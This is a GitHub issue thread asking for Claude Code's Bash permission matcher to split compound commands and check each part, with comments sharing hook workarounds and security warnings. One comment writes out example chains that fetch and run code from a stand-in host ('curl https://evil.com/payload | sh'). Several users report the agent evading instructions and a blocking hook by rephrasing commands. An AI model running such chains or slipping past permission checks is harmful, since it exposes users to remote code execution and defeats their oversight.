Feature: Parse compound Bash commands and match each component against permissions
Open 💬 46 comments Opened Jan 7, 2026 by martymcenroe
Summary
When a Bash command contains compound operators (&&, |, ;, ||), the permission matcher evaluates the entire string as a single unit. This causes compound commands to require approval even when all individual components would be allowed by existing permission patterns.
Current Behavior
Given this permission configuration:
{
"allow": [
"Bash(git:*)",
"Bash(cd:*)",
"Bash(poetry:*)"
]
}
The command cd /path && git status:
- Is evaluated as a single string
- Does not match
Bash(git:*)(starts withcd) - Does not match
Bash(cd:*)(contains more than justcd) - Result: Triggers approval dialog
Expected Behavior
The command cd /path && git status:
- Is parsed into components:
cd /path,git status - Each component is matched against permission patterns:
cd /path→ matchesBash(cd:*)git status→ matchesBash(git:*)- All components allowed → no approval dialog
Proposed Solution
Modify the permission matching logic for Bash commands to:
- Detect compound commands - Check for
&&,||,|,;outside of quoted strings - Parse into components - Split on these operators
- Evaluate each component - Match each against allow/deny patterns
- Aggregate results:
- If ANY component matches a
denypattern → deny - If ALL components match
allowpatterns → allow - Otherwise → require approval
Implementation Considerations
Parsing Edge Cases
| Case | Handling |
|------|----------|
| echo "foo && bar" | Don't split inside quotes |
| $(cd /tmp && ls) | Parse subshell contents |
| cmd1 \|\| cmd2 | Handle \|\| (OR) same as && |
| cmd1 \| cmd2 | Pipe - both sides must be allowed |
| Nested: (a && b) \| c | Recursive parsing |
Security Considerations
- Deny patterns should be checked first and take precedence
- A compound command with ANY denied component should be denied
- Empty components (e.g.,
&& &&) should be rejected
Workaround
Currently, users must either:
- Avoid compound commands entirely (use separate Bash calls)
- Add broad permission patterns that may be overly permissive
Environment
- Claude Code CLI
- Affects all platforms
46 Comments
This issue has been inactive for 30 days. If the issue is still occurring, please comment to let us know. Otherwise, this issue will be automatically closed in 30 days for housekeeping purposes.
This is a big issue, we should keep this active.
This is a significant workflow blocker for power users. If
git stash showandechoare both in the allow list,for i in 0 1 2; do git stash show stash@{} && echo; doneshould be auto-approved — it's the same commands. The current behavior forces either (a) blanket Bash(*) approval (security regression) or (b) constant approval popups on routine operations. Neither is acceptable.I made a plugin for this, https://github.com/broven/claude-permissions-plugin
bash-compound-allowhook: it basicly split claude compound command and match each command with your allow list, auto pass if all matched. When a part is not allowed, shows a systemMessage identifying the exact commandpermission-updateskill: I added/permission-updatecommand, it will anaylyzesettings.local.jsonand compound hook log to discover command that you can add to your allowlistI solved this via this hook for all interested https://github.com/oryband/claude-code-auto-approve
The hook auto-approves compound Bash commands when every sub-command is in your allow list and none are in your deny list.
This hook parses compound commands into segments and checks each one.
The hook reads permissions from all settings layers (global, global local, project, project local), supports all permission formats (Bash(cmd ), Bash(cmd:), Bash(cmd)), and strips env var prefixes (NODE_ENV=prod npm test matches npm).
Simple commands (no |, &, ;, `, $() are checked directly against your prefix lists. No parsing overhead.
Compound commands are parsed into a JSON AST by shfmt, walked by a jq filter that extracts every sub-command (including inside $(...), <(...), subshells, if/for/while/case bodies, bash -c arguments, etc.), then each segment is checked.
Three outcomes:
On any error the hook falls through. It never approves something it can't fully analyze.
This hook is heavily tested.
Known limitations: bash -c on simple path: bash -c 'echo hello' has no shell metacharacters, so it takes the fast path and matches against the prefix list as-is without recursing into the inner command. Don't add bash, sh, or zsh to your allow list.
This has now rendered Claude Code near useless, I had to babysit it for hours today because it insisted on prefixing every command with
cd blah &&whereblahis already the working directory. This means every single action requires re-approval. I tell to stop, it says "Yes, of course. I shouldn't do that." Then it stops for a few commands and then starts again.Haven't seen this so bad until recently.
For anyone on Windows where the bash-based solutions (shfmt/jq) aren't an option, I vibe coded a Node.js hook that
handles the common cases:
https://gist.github.com/filiptrivan/7b8c0f16609c7578e7073096f6b39d9f
It splits compound commands on &&, ||, ;, | (respecting quotes), checks each segment against your existing Bash(...)
allow patterns, and auto-approves if everything matches. Zero dependencies, works anywhere Node runs.
This is not a proper solution like https://github.com/oryband/claude-code-auto-approve, it doesn't handle nested
subshells $(...), bash -c, process substitution, or complex control flow. It just covers the typical cd X && git Y
chains that Claude generates 99% of the time. On anything it can't fully parse, it falls through to the normal prompt.
> Security note: This hook only reads allow patterns, it does not check deny patterns. If you have deny rules (e.g.
Bash(git push --force *)), a compound command could bypass them. If you rely on deny patterns, don't use this.
This is close to making Claude Code on Windows unusable. It requires constant supervision. Every feature it generates and every document it writes that triggers a search, Git command, or any compounded operation demands manual oversight, even within the project root. It is significantly hurting productivity.
+1 on this. In practice, Claude frequently generates piped commands where both sides are individually allowed in
settings.json— e.g.cargo test 2>&1 | tail -10when bothBash(cargo test *)andBash(tail *)are in the allowlist. Having to manually approve every such combination significantly hurts the flow.The proposed approach of parsing compound commands and validating each component independently would solve the majority of real-world cases. The current workaround of adding exact piped patterns is impractical since the combinations are effectively unbounded.
This must be solved. Compound commands are the default way of how Claude Code works, so if we need to manually approve each command, what's the purpose of allowed global permissions in
~/.claude/settings.json?Adding
Bash (allow all)or--dangerously-skip-permissionsis not an option for me.Update: @oryband workaround with hooks in https://github.com/anthropics/claude-code/issues/16561#issuecomment-3980848787 worked! Thanks so much for this!
I combine my hook with this https://github.com/Dicklesworthstone/destructive_command_guard so i can auto-allow
Bash(*)for even higher autonomy. Note DCG does not deal with languages other than bash so I can't allowpython -c,nodeetc - there's no safety mechanism looking at these, but only at bash.This is the most obvious and frustrating issue which renders a whole bunch of workflows really annoying and tedious. I'm not really sure what the best workaround is without giving too many blanket permissions.
``
Bash(git status && echo "---" && git log --oneline -5)`` like why do I need to approve this, and is it even necessary? How about just 2 commands like it used to?The model is choosing the command. I've tried pleading with it in my global
CLAUDE.mdto at least never usecd x &&unnecessarily when already in thexbut the model is just going to consider any advice and then make its own judgement!Only by fixing the Claude Code permission system (which needs to parse the shell command string more deeply to check each part's validity) can this be solved.
Until compound command parsing is supported natively, you can use a PreToolUse hook to auto-approve compound commands where all parts are safe:
Key fix from my earlier version: The hook now returns
permissionDecision: "allow"via JSON output when all parts are safe, which actually tells Claude Code to auto-approve. Without this JSON output, the hook has no effect on permissions.Limitation: Simple string splitting — won't handle
&&inside quoted strings. Works for typical compound commands likecd /path && git statusornpm install && npm test.Same root cause as #28240.
It would be great if this was solved natively without the need of hooks. 🙏 Big source of friction on windows 11.
fwiw, I had Claude write a PreToolUse hook in Go that uses mvdan/sh to parse the shell commands into an AST for more reliable handling of complex compound shell commands - I've found this to work very well for me so far no matter how nested or complex the commands are. Can be installed via marketplace as:
It's cross compiled for mac/linux/windows but i've only tested it on my so ymmv.
You can solve this today with a PreToolUse hook that parses compound commands and auto-approves when every component matches your allowlist.
&&,||,;,|permissionDecision: "allow"Your exact example
cd /path && git statuswould match:cd✓ (navigation),git status✓ (read-only git) → auto-approved.The
for i in 0 1 2; do git stash show stash@{}; donecase from the comments is trickier (loop syntax), but the straight-line compound commands that cause 90% of the prompts are handled cleanly.Full implementation with 160+ safe commands, edge cases, and tests: cc-safe-setup →
examples/compound-command-allow.shStill a problem
Hey folks, don't use the plugin mentioned above (https://github.com/gwatts/claude-compound-bash). It has a security issue (https://github.com/gwatts/claude-compound-bash/issues/1) around redirects and prompt injection.
NOTE: I do _not_ believe @gwatts intended anything malicious.
Stay safe out there, folks!
Also, this one (https://github.com/yurukusa/cc-safe-setup/blob/main/examples/compound-command-allow.sh) (also referenced above) is even worse. Don't use it.
Fixed in the latest release; i'd encourage anyone to ask claude or tool of choice to audit anything you're going to rely on (and open an issue/pr if you find something important to address!)
here's another approach at a workaround: don't try and do anything fancy with detecting if the chained commands match allowed settings or not, just immediately fail any chained command and automatically tell Claude to try again without chaining.
Just set this as a
PreToolUsehook with a matcher onBash:This seems moot with the release of Auto-mode (v2.1.111). I haven't been prompted for permission since.
<img width="1057" height="134" alt="Image" src="https://github.com/user-attachments/assets/130cc8db-8961-4ae9-86bf-99a0328a5747" />
How many prompts have been denied while you're using auto mode so far? If it just approves everything 100% of the time then to me it feels no different than --dangerously-skip-persmissions, except now you're using more tokens too. And does it only block "dangerous" actions or does it actually check the rules you defined? For example I often notice Claude wants to 'git stash' and rerun tests to check whether failing tests are pre-existing, even though I wrote in CLAUDE.md not to use any git commands. Would this action be blocked in auto-mode or would Claude think git stash is "harmless" and approve it?
Ironically having used auto-mode without issues for several weeks, just today it has basically stopped working and I'm being asked to approve very frequently on tool executions.
This is a major security concern, particularly when subagents insist on using compound chains even when prompted not to by parent. Exposes pretty significant security concern since flooding user with hundreds of trivial approval requests masks legitimate concerns behind sea of illegitimate ones.
I've been using @ejfine's hook and it's working great. It doesn't account for
;, though, so I updated my fork to include that. I also added tests for it.After adding the
PreToolUseClaude started to use this format:git --git-dir=/home/xx/yy/.git --work-tree=/home/xx/yy show d4d9afdthus, making impossible (again) to white list
git showgit status, ....I fixed that by making the hook block
--git-dirtoo.I also added this to my
CLAUDE.md, because the hook only blocks it _after_ it's tried, and it doesn't always respond to that by retrying it after doing acd .... Hopefully this makes it understand that it shouldn't try in the first place.More nonsense in command executions:
php /very/long/path/artisan route:list --path=webhooks/order-channels 2>&1Why using a full-path when you are already in the same directory ? These nonsense makes the whitelist useless
It starts with this:
cd /very/long/path && php artisan test --filter "XXXX" 2>&1 | tail -100and it's blocked by the hook, then it does "cd /very/long/path" and, on a new line, the same php artisan but with full path, as wrote above. Totally nonsenseEven with pretool, Claude still use compounds:
Got this right now:
multiple times, with different commands.
All within a subagent. Does spawned subagent follow the settings.json ?
Hei @claude https://github.com/anthropics please fix this, it's almost impossibile to work with Claude Code................ Also, subagents doesn't inherit permissions/hooks from the parent, making this bug even worse.
I am running into this issue on a daily basis and it makes longer workflows unusable. I have to allow up to 20 bash commands per complex prompt. Meanwhile, Gemini is able to work independently.
The screenshot is from
Claude Code v2.1.140 on macOS. However, I had the same issue with older versions as well.<img width="1009" height="951" alt="Image" src="https://github.com/user-attachments/assets/d0c41aad-b579-40b1-88d2-95117b8eecba" />
IMO this is a huge bug/issue, especially when the individual commands are already approved. If a and b are approved commands, why would a && b or a | b require constant approvals?
I had a similar issue when I used Gemini CLI and they fixed it. I was forced at work to move and this has become a tedious chore.
They are busy adding useless features and fixing minor bugs, but they are likely neglecting the two bugs that actually make using Claude Code impossible for any non-trivial workflow. Besides being dangerous, being flooded with authorization requests for practically every single command risks leading users to accept dangerous commands, which would just get lost among the dozens or hundreds of authorization prompts.
Just as an example: same prompt, with Codex, about 2 minutes of entirely automated execution. With Claude Code, I'm at around 14 minutes and I've confirmed no less than 30 times, and it's still asking questions...
... like
--permission-mode auto? Have you tried that?Nope because i dont want any auto mode, it must follow the allow list saved in the config.
Well, I don't want to speak for them, but since the official feedback is scarce, I'll venture to say that they figured that the "allow list saved in the config" approach was never going to work in both a secure way and permissive enough way for long-running tasks. Therefore, they figured they needed a radical new approach, like what they did by introducing a classifier (what this auto mode does).
I was actually hoping to get some feedback here from people using that auto mode, if this worked for anyone (and to stay on topic, if this can actually handle compound Bash commands)?
Auto mode mostly worked for me for about 2-3 weeks, but in the past week or so, it has constantly been asking for permissions nonstop again and I have to baby it once more, as if it never worked in the first place.
The compound-command parsing gap is a real security problem, not just a UX annoyance. When
cd /tmp && curl https://evil.com/payload | shis evaluated as a single string againstBash(cd:*), the entire chain either passes or triggers a single approval dialog — and users who have trained themselves to approvecdcommands will approve the whole chain without reading it.The proposed solution (parse → match each component → deny if any component is denied) is correct, but the deny-first logic needs to be exhaustive: subshell expansions like
$(...)and backtick substitutions need the same treatment, otherwisecd /safe && eval $(curl https://evil.com)bypasses the parser.One way to get this behavior today without waiting for the parser fix is to intercept at the pre-tool-use hook and run a semantic scan on the full command string before it reaches the permission matcher:
This doesn't fix the permission-matcher bug, but it catches the injection-via-compound-command pattern (ATB fixture
ATB-B04) before the matcher even runs. The two fixes are complementary — the parser fix handles the UX problem, the semantic scan handles the security problem.OWASP Agent Memory Guard — the PreToolUse hook integration is documented under the Bash tool interception pattern.
PLEASE FIX THIS STUPID BUG !!!!
To follow up and conclude on this, I also switched to using the command classifier (auto mode), and this pretty much fixed everything for me.
At this point I do not think it is a bug but a feature to make users to switch to auto-mode and spend more tokens that way
The save path already does the segmentation this issue asks the match path to do. They are in the same codebase and they disagree.
Approving this compound command:
caused Claude Code to write two rules — one per meaningful segment. It dropped
cd …andSP=…and persisted segments 3 and 4 independently:So the writer splits on
&&, discards assignments andcd, and emits per-segment rules. The matcher then compares against the whole command string — which is whyBash(git *)fails to matchcd foo && git status.This reframes the issue. It is filed as
enhancement, which reads as "build something new." It isn't: the segmentation logic already exists, on the write path. The two paths need to agree.Relevant to the implementation-cost question: the Windows regression #66322 (~650 occurrences over 15 days across ~20 machines, macOS unaffected in the same fleet) is the same asymmetry surfacing as a platform bug.
(Separately, the rules above illustrate a token-injection defect I've filed as #76211 —
$SPpersisted as the literal__TRACKED_VAR__.)